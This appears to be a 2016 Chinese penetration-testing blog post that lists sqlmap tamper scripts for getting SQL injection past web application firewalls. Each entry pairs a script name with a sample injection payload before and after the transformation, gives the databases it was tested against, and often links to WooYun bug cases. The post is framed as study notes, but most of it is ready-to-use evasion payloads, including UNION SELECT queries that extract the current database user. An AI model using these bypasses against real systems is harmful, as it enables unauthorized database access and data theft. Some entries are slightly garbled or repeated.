使用sqlmap中tamper脚本绕过waf

CracerCracer 2016-3-30 渗透测试 1,066 0 4

0x00 背景

sqlmap中的tamper脚本来对目标进行更高效的攻击。

由于乌云知识库少了sqlmap-tamper 收集一下,方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快。

0x01 start

脚本名:apostrophemask.py

作用:用utf8代替引号
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
Tested against: all

脚本名:equaltolike.py

作用:like 代替等号
Example:

* Input: SELECT * FROM users WHERE id=1

* Output: SELECT * FROM users WHERE id LIKE 1
案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

脚本名:space2dash.py

作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

脚本名:greatest.py

作用:绕过过滤’>’ ,用GREATEST替换大于号。
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
脚本名:space2hash.py

作用:空格替换为#号 随机字符串 以及换行符
Example:

* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:

MySQL Tested against:

MySQL 4.0, 5.0

参考:法克的一篇文章

脚本名:apostrophenullencode.py

作用:绕过过滤双引号,替换字符和双引号。
Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
Tested against:

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

脚本名:halfversionedmorekeywords.py

作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

Example:

("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
Requirement:

MySQL < 5.1
Tested against:

MySQL 4.0.18, 5.0.22
脚本名:space2morehash.py

作用:空格替换为 #号 以及更多随机字符串 换行符
Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

脚本名:appendnullbyte.py

作用:在有效负荷结束位置加载零字节字符编码
Example: ('1 AND 1=1') '1 AND 1=1%00'
Requirement:

Microsoft Access
脚本名:ifnull2ifisnull.py

作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

Example:

('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
Requirement:

MySQL

SQLite (possibly)

SAP MaxDB (possibly)

Tested against:

MySQL 5.0 and 5.5
脚本名:space2mssqlblank.py(mssql)

作用:空格替换为其它空符号

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名:base64encode.py

作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名:space2mssqlhash.py

作用:替换空格
Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL
脚本名:modsecurityversioned.py

作用:过滤空格,包含完整的查询版本注释
Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'
Requirement: * MySQL

Tested against:

MySQL 5.0
脚本名:space2mysqlblank.py

作用:空格替换其它空白符号(mysql)
Example:

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users
Requirement:

MySQL
Tested against:

MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名:between.py

作用:用between替换大于号(>)
Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
Tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名:space2mysqldash.py

作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

注:之前有个mssql的 这个是mysql的
Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
Requirement:

MySQL

MSSQL

脚本名:multiplespaces.py

作用:围绕SQL关键字添加多个空格
Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'
Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名:space2plus.py

作用:用+替换空格
Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all
脚本名:bluecoat.py

作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
Tested against:

MySQL 5.1, SGOS
脚本名:nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all
脚本名:space2randomblank.py

作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
Tested against: all

脚本名:sp_password.py

作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

1
Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL
脚本名:chardoubleencode.py

作用: 双url编码(不处理以编码的)
Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
脚本名:unionalltounion.py

作用:替换UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

脚本名:charencode.py

作用:url编码
Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

脚本名:randomcase.py

作用:随机大小写 Example:

Input: INSERT
Output: InsERt
Tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

脚本名:unmagicquotes.py

作用:宽字符绕过 GPC addslashes

Example:

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20
脚本名:randomcomments.py

作用:用/**/分割sql关键字
Example:

‘INSERT’ becomes ‘IN//S//ERT’
脚本名:charunicodeencode.py

作用:字符串 unicode 编码
Example:

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:

ASP

ASP.NET

Tested against:

Microsoft SQL Server 2000

Microsoft SQL Server 2005

MySQL 5.1.56

PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名:securesphere.py

作用:追加特制的字符串
Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
Tested against: all

脚本名:versionedmorekeywords.py

作用:注释绕过
Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:

MySQL >= 5.1.13
脚本名:space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘/**/’
Example:

* Input: SELECT id FROM users

* Output: SELECT//id//FROM/**/users
Tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名:halfversionedmorekeywords.py

作用:关键字前加注释
Example:

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
Requirement:

MySQL < 5.1
Tested against:

MySQL 4.0.18, 5.0.22

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